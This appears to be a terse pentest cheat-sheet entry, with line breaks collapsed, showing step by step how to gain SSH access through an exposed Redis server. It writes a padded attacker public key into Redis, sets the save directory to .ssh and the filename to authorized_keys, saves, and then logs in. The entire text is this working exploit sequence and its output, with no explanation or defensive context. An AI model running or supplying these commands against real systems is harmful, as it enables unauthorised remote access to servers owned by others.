# redis-cli -h <IP>> config get dir1) "dir"2) "/var/lib/redis"# ssh-keygen -f id_rsa# 3 spaces before and after key: (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > spaced_id_rsa.txt# cat spaced_id_rsa.txt| redis-cli -h IP -x set kashzOK> config set dir .sshOK> config get dir"/var/lib/redis/.ssh"> config set dbfilename "authorized_keys"OK> saveOK# ssh using id_rsa and user